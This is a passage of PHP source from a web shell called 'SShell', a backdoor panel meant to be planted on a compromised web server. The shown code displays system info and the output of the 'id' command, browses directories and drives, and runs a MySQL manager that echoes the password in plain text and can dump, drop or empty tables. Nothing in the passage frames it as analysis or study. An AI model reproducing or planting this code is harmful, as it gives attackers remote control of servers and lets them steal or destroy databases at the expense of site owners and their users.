value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=#C0C0C0><tr><th width=\"101%\" height=15 nowrap bordercolor=#C0C0C0 valign=top colspan=2><p><font face=Webdings size=6><b>!</b></font><a href=\"{$surl}\"><font face=\"Verdana\" size=5><b>SShell v. {$shver}</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align=left><b>Software:&nbsp;{$DISP_SERVER_SOFTWARE}</b>&nbsp;</p><p align=left><b>uname -a:&nbsp;" . wordwrap(php_uname(),90,"<br>",1); " . </b>&nbsp;</p><p align=left><b>"; if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} echo"</b>&nbsp;</p><p align=left><b>Safe-mode:&nbsp;{$hsafemode}</b></p><p align=left>"; $d = str_replace("\",DIRECTORY_SEPARATOR,$d); if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} $d = str_replace("\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $d = str_replace("\","\",$d); $dispd = htmlspecialchars($d); $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); $i = 0; foreach($pd as $b) { $t = ""; $j = 0; foreach ($e as $r) { $t.= $r.DIRECTORY_SEPARATOR; if ($j == $i) {break;} $j++; } echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; $i++; } echo "&nbsp;&nbsp;&nbsp;"; if (is_writable($d)) { $wd = TRUE; $wdt = "<font color=green>[ ok ]</font>"; echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; } else { $wd = FALSE; $wdt = "<font color=red>[ Read-Only ]</font>"; echo "<b>".view_perms_color($d)."</b>"; } if (is_callable("disk_free_space")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; } echo "<br>"; $letters = ""; if ($win) { $v = explode("\",$d); $v = $v[0]; foreach (range("a","z") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\");} if ($bool) { $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\")."';document.todo.submit();\">[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<font color=green>".$letter."</font>";} $letters .= " ]</a> "; } } if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; } } echo "</p></td></tr></table><br>"; if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; if ($act == "") {$act = $dspact = "ls";} if ($act == "sql") { echo("<form name='sql' method='POST'><input name='act' type='hidden' value='sql'><input name='sql_tbl_insert_q' type='hidden' value=''><input name='sql_login' type='hidden' value=''><input name='kill' type='hidden' value=''><input name='sql_order' type='hidden' value=''><input name='sql_tbl_ls' type='hidden' value=''><input name='sql_tbl_le' type='hidden' value=''><input name='sql_tbl_act' type='hidden' value=''><input name='thistbl' type='hidden' value=''><input name='sql_passwd' type='hidden' value=''><input name='sql_server' type='hidden' value=''><input name='sql_port' type='hidden' value=''><input name='sql_db' type='hidden' value=''><input name='sql_act' type='hidden' value=''><input name='sql_tbl' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''><input name='sql_query' type='hidden' value=''></form>"); if (isset($_POST['sql_login'])) {$sql_login=htmlspecialchars($_POST['sql_login']);} if (isset($_POST['sql_passwd'])) {$sql_passwd=htmlspecialchars($_POST['sql_passwd']);} if (isset($_POST['sql_server'])) {$sql_server=htmlspecialchars($_POST['sql_server']);} if (isset($_POST['sql_port'])) {$sql_port=htmlspecialchars($_POST['sql_port']);} if (isset($_POST['sql_db'])) {$sql_db=htmlspecialchars($_POST['sql_db']);} if (isset($_POST['sql_act'])) {$sql_act=htmlspecialchars($_POST['sql_act']);} if (isset($_POST['sql_tbl'])) {$sql_tbl=htmlspecialchars($_POST['sql_tbl']);} if (isset($_POST['sql_tbl_act'])) {$sql_tbl_act=htmlspecialchars($_POST['sql_tbl_act']);} if (isset($_POST['thistbl'])) {$thistbl=htmlspecialchars($_POST['thistbl']);} if (isset($_POST['sql_order'])) {$sql_order=htmlspecialchars($_POST['sql_order']);} if (isset($_POST['sql_tbl_ls'])) {$sql_tbl_ls=htmlspecialchars($_POST['sql_tbl_ls']);} if (isset($_POST['sql_tbl_le'])) {$sql_tbl_le=htmlspecialchars($_POST['sql_tbl_le']);} if (isset($_POST['sql_query'])) {$sql_query=htmlspecialchars($_POST['sql_query']);} if (isset($_POST['sql_tbl_insert_q'])) {$sql_tbl_insert_q=urldecode(htmlspecialchars($_POST['sql_tbl_insert_q']));} if (isset($_POST['sql_tbl_insert_functs'])) {$sql_tbl_insert_functs=htmlspecialchars($_POST['sql_tbl_insert_functs']);} if (isset($_POST['sql_tbl_insert_radio'])) {$sql_tbl_insert_radio=htmlspecialchars($_POST['sql_tbl_insert_radio']);} echo"<TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><td width=\"100%\" height=1 colspan=2 valign=top><center>"; if ($sql_server) { $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); $err = mysql_smarterror(); @mysql_select_db($sql_db,$sql_sock); if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} } else {$sql_sock = FALSE;} echo "<b>SQL Manager:</b><br>"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();"); $sqlquicklaunch[] = array("Query","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();"); $sqlquicklaunch[] = array("Server-status","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='serverstatus';document.sql.submit();"); $sqlquicklaunch[] = array("Server variables","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='servervars';document.sql.submit();"); $sqlquicklaunch[] = array("Processes","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='processes';document.sql.submit();"); $sqlquicklaunch[] = array("Logout","#\" onclick=\"document.sql.act.value='sql';document.sql.submit();"); echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} echo "</center>"; } echo "</td></tr><tr>"; if (!$sql_sock) { echo"<td width=\"28%\" height=100 valign=top><center><font size=5> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=top><TABLE height=1 cellSpacing=0 cellPadding=0 width=\"100%\" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action=\"{$surl}\" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=64></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=64></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=64></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=64></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=6 size=3></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; }else{ if (!empty($sql_db)) { echo"<td width=\"25%\" height=\"100%\" valign=top><a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".(htmlspecialchars($sql_login))."';document.sql.sql_passwd.value='".(htmlspecialchars($sql_passwd))."';document.sql.sql_server.value='".(htmlspecialchars($sql_server))."';document.sql.sql_port.value='".(htmlspecialchars($sql_port))."';document.sql.submit();\"><b>Home</b></a><hr size=1 noshade>"; $result = mysql_list_tables($sql_db); if (!$result) {echo mysql_smarterror();} else { echo "---[ <a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_db.value='".htmlspecialchars($sql_db)."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".htmlspecialchars($sql_db)."';document.sql.sql_tbl.value='".htmlspecialchars($row[0])."';document.sql.submit();\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { echo"<td width=\"1\" height=\"100\" valign=\"top\"><a href=\"{$_SERVER['PHP_SELF']}\"><b>Home</b></a><hr size=1 noshade>"; $result = mysql_list_dbs($sql_sock); if (!$result) {echo mysql_smarterror();} else { echo"<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><select name=\"sql_db\">"; $c = 0; $dbs = ""; while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} echo "<option value=\"\">Databases (".$c.")</option>"; echo $dbs; } echo"</select><hr size=1 noshade>Please, select database<hr size=1 noshade><input type=\"submit\" value=\"Go\"></form>"; } echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} echo "</b></center>"; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { $sql_query = urldecode($sql_query); echo "<hr size=\"1\" noshade>"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} } if (in_array($sql_act,$acts)) { echo"<table border=0 width=\"100%\" height=1><tr><td width=\"30%\" height=1><b>Create new table:</b><form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"newtbl\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"text\" name=\"sql_newtbl\" size=20>&nbsp;<input type=\"submit\" value=\"Create\"></form></td><td width=\"30%\" height=1><b>Dump DB:</b><form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"text\" name=\"dump_file\" size=30 value=\"dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql\">&nbsp;<input type=\"submit\" name=\"submit\" value=\"Dump\"></form></td><td width=\"30%\" height=1></td></tr><tr><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td><td width=\"30%\" height=1></td></tr></table>"; if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} if ($sql_act == "newtbl") { echo "<b>"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; $v = join (";",$dmptbls); echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; echo "</form>"; } else { $diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; } } else {echo "<b>Dump: nothing to do!</b>";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='structure';document.sql.submit();\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='browse';document.sql.submit();\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_act.value='tbldump';document.sql.thistbl.value='1';document.sql.submit();\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='insert';document.sql.thistbl.value='1';document.sql.submit();\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo "<br><br><b>Inserting row into table:</b><br>"; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $sql_query = urldecode($sql_query); $sql_tbl_insert_q = urldecode($sql_tbl_insert_q); $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "<form method=\"POST\"><input type=hidden name='sql_tbl_act' value='insert'><input type=hidden name='sql_tbl_insert_q' value='".urlencode($sql_tbl_insert_q)."'><input type=hidden name='sql_tbl_ls' value='".$sql_tbl_ls."'><input type=hidden name='sql_tbl_le' value='".$sql_tbl_le."'><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option 